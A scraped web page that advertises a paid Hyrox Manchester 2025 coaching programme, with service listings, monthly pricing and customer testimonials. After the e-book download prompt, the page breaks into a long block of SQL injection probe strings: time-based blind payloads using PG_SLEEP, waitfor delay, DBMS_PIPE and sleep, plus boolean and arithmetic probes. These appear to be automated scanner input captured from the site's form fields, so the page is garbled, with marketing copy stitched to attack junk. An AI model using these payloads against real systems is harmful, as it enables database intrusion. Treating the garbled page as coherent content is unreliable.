HYROX MANCHESTER 2025

PROGRAM

36
Weeks
1
Days
17
Hours
14
Minutes
45
Seconds

TILL MANCHESTER 2025

IS THE HYROX MANCHESTER PROGRAM FOR ME?

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You’re serious about entering the start line tunnel at Hyrox Manchester the fittest you have ever been!
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You’re struggling to balance both running and strength-specific sessions.
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You want to optimize your training time, recovery, and nutrition, and you’re willing to attend virtual workshops.
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You want to set a challenging target for the race and have a data-driven, structured program that enables you to achieve it.
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You want a team of coaches who care and invest their time to ensure you have everything you need to succeed.
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You want a world-class community to hold you accountable and fuel you with motivation.
258,121
Hyrox Finishers Analysed
4,501
Athletes Coached

Join our global community of Hybrid Athletes

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What Is Included?

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BESPOKE TRAINING PLAN
Your plan will match your current ability and Hyrox goals to get your race ready for the big day.
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1-1 TARGET SETTING CALL
Kick off the program on a 1-1 call with your coach to discuss Hyrox goals and set yourself up for success on the program.
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TECHNIQUE ANALYSIS AND FEEDBACK
Direct access to the coaching team for uncapped video review of movements. Optimise your training and perform the workout stations as efficiently as possible. You'll shave minutes off your race time by simply moving better.
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NUTRITITION GUIDANCE
Nail down your day to day training nutrition and get exclusive access to a pre-race nutrition webinar to ensure you're fueling effectively for race day.
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ONLINE COACHING APP
Track your progress with our training app and get the support you need throughout the program. Your coach is on hand via the messaging feature and you can get support before & after every session.
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COMMUNITY ACCESS
Get access to our exclusive tight nit community of like minded people also taking on Hyrox Manchester 2024
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POST RACE REVIEW CALL
Wrap up the program with a 1-1 call to review your performance and set a plan in motion to go even faster.
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FLEXIBLE PAYMENTS
We have partnered with Klarna and Clearpay to provide flexible payments and make purchasing a program even easier on the wallet.

Ready to Hit your Hyrox Goals?

Join the team today on a rolling monthly subscription. There’s no joining fee, minimum term and you can cancel any time.

Not quite sure?

Get in touch over WhatsApp and we can answer any of your questions 1-2-1.

What Our Athletes Have To Say

TrustScore 4.5 out of 5
33 reviews

Feedback from Hybrid Athlete Club members who have invested in themselves.

Sam
Sam
Transformational!

Completed a full 12 week Hyrox programme (with a partner who was a very strong runner) and went from dreading the run to making huge progress and e...

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Transformational!

Completed a full 12 week Hyrox programme (with a partner who was a very strong runner) and went from dreading the run to making huge progress and ended up really enjoying it. Very well thought out programme that balanced areas to improve with my stronger points to get me to a well-rounded position for the race. Ended up beating our target time by 2 minutes, which definitely wouldn’t have been possible without HAC’s help!

Sam
Sam
Ita
Ita
I can’t put into words just how much…

I can’t put into words just how much James has helped me with my fitness. I feel unbelievably fitter than 12 months ago. I couldn’t squat or barbel...

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I can’t put into words just how much…

I can’t put into words just how much James has helped me with my fitness. I feel unbelievably fitter than 12 months ago. I couldn’t squat or barbell with any technique. My running was boring and stagnant. My fitness was inefficient. James set me programmes that enabled me to complete an individual HYROX, doubles HYROX and other competitions. I had no motivation or goals and he helped me accomplish things I never thought possible. On race days, he gave the best advice. I would never have done the things I have this year without his help. It’s shown me that anyone can do anything with the right help. Thank you james.

Ita
Ita
Shane Morris
Shane Morris
Hybrid athlete program as you expect but a whole lot more

Ive been getting programs and coaching off HAC and James for just under a year and they are perfect for me, any programs I get and I’m either not s...

Read More
Hybrid athlete program as you expect but a whole lot more

Ive been getting programs and coaching off HAC and James for just under a year and they are perfect for me, any programs I get and I’m either not sure about or just want something different, he gets to work and really personalise it to make it more tailored and enjoyable.The programming speaks for it self as I had a massive improvement in my running at the back end of last year getting pb’s and even a few Spartan race wins. I am currently on the hybrid athlete program but have also added some of the running program on as an extra.I can’t wait to see what I can do next year on the program! Can’t speak highly enough, I even get kind feed back on there social media from people iv never met, some what like a community feeling.

Shane Morris
Shane Morris
More Testimonials

Program Overview

The program is divided into four phases that progressively build your capacity and ability to excel at Hyrox. There are program overview explainers to ensure you understand the purpose behind the program.

Three Exclusive Hyrox virtual workshops will then equip you with the knowledge to set yourself apart from the competition.

0
Sessions
Per Week
0
Strength Elements
Per Week
0
Running Elements
Per Week
[race_ready_calendar]

READY TO TAKE ON HYROX MANCHESTER 2025?

A decade of coaching and thousands of athlete experiences underpin this ultimate Hyrox program.

This isn’t just a training program! We will work with you to set out the perfect race plan from day one and invest the time needed to ensure you stay accountable and motivated to perform.

Weekly check-ins and monthly virtual workshops will ensure that come race day, no stone has been left unturned and smashed to smithereens.

Optimise your training, recovery, strategy and performance like never before!

ON-GOING PROGRAM

Culminating in Hyrox Manchester
Jan 2025

£40.00

  • Bespoke Training Plan
  • 1-1 Target Setting Call
  • Weekly Program Overview Sessions
  • Technique analysis and feedback
  • Nutritition Guidance
  • Online Coaching App
  • Community Access
  • Bonus: Post Race Review Call
JOIN PROGRAM
£40.00 a month

Download the HAC Hyrox E-books

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555-1)) OR 824=(SELECT 824 FROM PG_SLEEP(15))--
VABxvsyH
555-1) OR 894=(SELECT 894 FROM PG_SLEEP(15))--
VABxvsyH
555-1) OR 894=(SELECT 894 FROM PG_SLEEP(15))--
VABxvsyH
555-1 OR 360=(SELECT 360 FROM PG_SLEEP(15))--
VABxvsyH
555-1 OR 360=(SELECT 360 FROM PG_SLEEP(15))--
VABxvsyH
555
VABxvsyH
555
VABxvsyH
555+926-921-5
VABxvsyH
555+926-921-5
VABxvsyH
555+473-468-5
VABxvsyH
555+473-468-5
VABxvsyH
555*151*146*0
VABxvsyH
555*151*146*0
VABxvsyH
555nzJDIpUM
VABxvsyH
555nzJDIpUM
VABxvsyH
-1 OR 3+380-380-1=0+0+0+1
VABxvsyH
-1 OR 3+380-380-1=0+0+0+1
VABxvsyH
555*735*730*0
VABxvsyH
555*735*730*0
VABxvsyH
555*437*432*0
VABxvsyH
555*437*432*0
VABxvsyH
555
VABxvsyHS04j0UcH')) OR 395=(SELECT 395 FROM PG_SLEEP(15))--
555
VABxvsyHS04j0UcH')) OR 395=(SELECT 395 FROM PG_SLEEP(15))--
555
VABxvsyHLD0rQxS6') OR 495=(SELECT 495 FROM PG_SLEEP(15))--
555
VABxvsyHLD0rQxS6') OR 495=(SELECT 495 FROM PG_SLEEP(15))--
555
VABxvsyHgvrRx9Sy' OR 326=(SELECT 326 FROM PG_SLEEP(15))--
555
VABxvsyHgvrRx9Sy' OR 326=(SELECT 326 FROM PG_SLEEP(15))--
555
VABxvsyH78agaJGL'; waitfor delay '0:0:15' --
555
VABxvsyH78agaJGL'; waitfor delay '0:0:15' --
555
@@UEc3G
555
@@UEc3G
555
VABxvsyHGoL5i6Bj')) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
555
VABxvsyHGoL5i6Bj')) OR 532=(SELECT 532 FROM PG_SLEEP(15))--
555
VABxvsyHaWfeLdbN') OR 934=(SELECT 934 FROM PG_SLEEP(15))--
555
VABxvsyHaWfeLdbN') OR 934=(SELECT 934 FROM PG_SLEEP(15))--
555
VABxvsyH7hgBrPCm' OR 864=(SELECT 864 FROM PG_SLEEP(15))--
555
VABxvsyH7hgBrPCm' OR 864=(SELECT 864 FROM PG_SLEEP(15))--
555
VABxvsyHbnOgTbct'; waitfor delay '0:0:15' --
555
VABxvsyHbnOgTbct'; waitfor delay '0:0:15' --
555
VABxvsyH'||'
555
VABxvsyH'||'
555
VABxvsyH' AND 2*3*8=6*8 AND 'xRcb'='xRcb
555
VABxvsyH' AND 2*3*8=6*8 AND 'xRcb'='xRcb
555
VABxvsyHCzc4RPtY
555
VABxvsyHCzc4RPtY
555
VABxvsyH' AND 2*3*8=6*8 AND '2HJ7'='2HJ7
555
VABxvsyH' AND 2*3*8=6*8 AND '2HJ7'='2HJ7
555'"
VABxvsyH
555'"
VABxvsyH
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
VABxvsyH
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
VABxvsyH
5557JvrwBkm')) OR 85=(SELECT 85 FROM PG_SLEEP(15))--
VABxvsyH
5557JvrwBkm')) OR 85=(SELECT 85 FROM PG_SLEEP(15))--
VABxvsyH
5559TrgCOaU') OR 317=(SELECT 317 FROM PG_SLEEP(15))--
VABxvsyH
5559TrgCOaU') OR 317=(SELECT 317 FROM PG_SLEEP(15))--
VABxvsyH
555AcKGp8Z1' OR 918=(SELECT 918 FROM PG_SLEEP(15))--
VABxvsyH
555AcKGp8Z1' OR 918=(SELECT 918 FROM PG_SLEEP(15))--
VABxvsyH
555-1)) OR 218=(SELECT 218 FROM PG_SLEEP(15))--
VABxvsyH
555-1)) OR 218=(SELECT 218 FROM PG_SLEEP(15))--
VABxvsyH
555-1) OR 376=(SELECT 376 FROM PG_SLEEP(15))--
VABxvsyH
555-1) OR 376=(SELECT 376 FROM PG_SLEEP(15))--
VABxvsyH
555-1 OR 686=(SELECT 686 FROM PG_SLEEP(15))--
VABxvsyH
555-1 OR 686=(SELECT 686 FROM PG_SLEEP(15))--
VABxvsyH
555n5VzfDaZ'; waitfor delay '0:0:15' --
VABxvsyH
555n5VzfDaZ'; waitfor delay '0:0:15' --
VABxvsyH
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(...
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VABxvsyH
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
VABxvsyH
555
VABxvsyH
555
VABxvsyH
555*493*488*0
VABxvsyH
555*493*488*0
VABxvsyH
555+656-651-5
VABxvsyH
555+656-651-5
VABxvsyH
555*529*524*0
VABxvsyH
555*529*524*0
VABxvsyH
5554HNWTfEI
VABxvsyH
5554HNWTfEI
VABxvsyH
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
VABxvsyH
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
VABxvsyH
555
VABxvsyHuQA2xQhR')) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
555
VABxvsyHuQA2xQhR')) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
555
VABxvsyHeTpGMunQ') OR 258=(SELECT 258 FROM PG_SLEEP(15))--
555
VABxvsyHeTpGMunQ') OR 258=(SELECT 258 FROM PG_SLEEP(15))--
555
VABxvsyHOhIB7c0E' OR 26=(SELECT 26 FROM PG_SLEEP(15))--
555
VABxvsyHOhIB7c0E' OR 26=(SELECT 26 FROM PG_SLEEP(15))--
555
VABxvsyHiSCWWeIv'; waitfor delay '0:0:15' --
555
VABxvsyHiSCWWeIv'; waitfor delay '0:0:15' --
555-1)) OR 514=(SELECT 514 FROM PG_SLEEP(15))--
VABxvsyH
555-1)) OR 514=(SELECT 514 FROM PG_SLEEP(15))--
VABxvsyH
555-1) OR 38=(SELECT 38 FROM PG_SLEEP(15))--
VABxvsyH
555-1) OR 38=(SELECT 38 FROM PG_SLEEP(15))--
VABxvsyH
555-1 OR 623=(SELECT 623 FROM PG_SLEEP(15))--
VABxvsyH
555-1 OR 623=(SELECT 623 FROM PG_SLEEP(15))--
VABxvsyH
555twiDXBxx'; waitfor delay '0:0:15' --
VABxvsyH
555twiDXBxx'; waitfor delay '0:0:15' --
VABxvsyH
555-1 waitfor delay '0:0:15' --
VABxvsyH
555-1 waitfor delay '0:0:15' --
VABxvsyH
555-1); waitfor delay '0:0:15' --
VABxvsyH
555-1); waitfor delay '0:0:15' --
VABxvsyH
555-1; waitfor delay '0:0:15' --
VABxvsyH
555-1; waitfor delay '0:0:15' --
VABxvsyH
555
VABxvsyHGSEkcZ46
555
VABxvsyHGSEkcZ46
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
VABxvsyH
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
VABxvsyH
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
VABxvsyH
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
VABxvsyH
555*if(now()=sysdate(),sleep(15),0)
VABxvsyH
555*if(now()=sysdate(),sleep(15),0)
VABxvsyH
-1 OR 3+983-983-1=0+0+0+1
VABxvsyH
-1 OR 3+983-983-1=0+0+0+1
VABxvsyH
555*293*288*0
VABxvsyH
555*293*288*0
VABxvsyH
555*1
VABxvsyH
555*1
VABxvsyH
555WwRXnWfR
VABxvsyH
555WwRXnWfR
VABxvsyH
555
VABxvsyH'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
VABxvsyH'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
VABxvsyHnwX3gkhZ')) OR 252=(SELECT 252 FROM PG_SLEEP(15))--
555
VABxvsyHnwX3gkhZ')) OR 252=(SELECT 252 FROM PG_SLEEP(15))--
555
VABxvsyHkxTVcRnz') OR 746=(SELECT 746 FROM PG_SLEEP(15))--
555
VABxvsyHkxTVcRnz') OR 746=(SELECT 746 FROM PG_SLEEP(15))--
555
VABxvsyHUyRzRjbR' OR 876=(SELECT 876 FROM PG_SLEEP(15))--
555
VABxvsyHUyRzRjbR' OR 876=(SELECT 876 FROM PG_SLEEP(15))--
555
VABxvsyHCMmxpAHU'; waitfor delay '0:0:15' --
555
VABxvsyHCMmxpAHU'; waitfor delay '0:0:15' --
555
VABxvsyH-1 waitfor delay '0:0:15' --
555
VABxvsyH-1 waitfor delay '0:0:15' --
555
VABxvsyH0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
VABxvsyH0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
if(now()=sysdate(),sleep(15),0)
555
if(now()=sysdate(),sleep(15),0)
555
VABxvsyH' AND 2*3*8=6*8 AND 'Y3NP'='Y3NP
555
VABxvsyH' AND 2*3*8=6*8 AND 'Y3NP'='Y3NP
555
VABxvsyHdS14ACzW
555
VABxvsyHdS14ACzW
555
VABxvsyH
555
VABxvsyH
555
VABxvsyH
555
VABxvsyH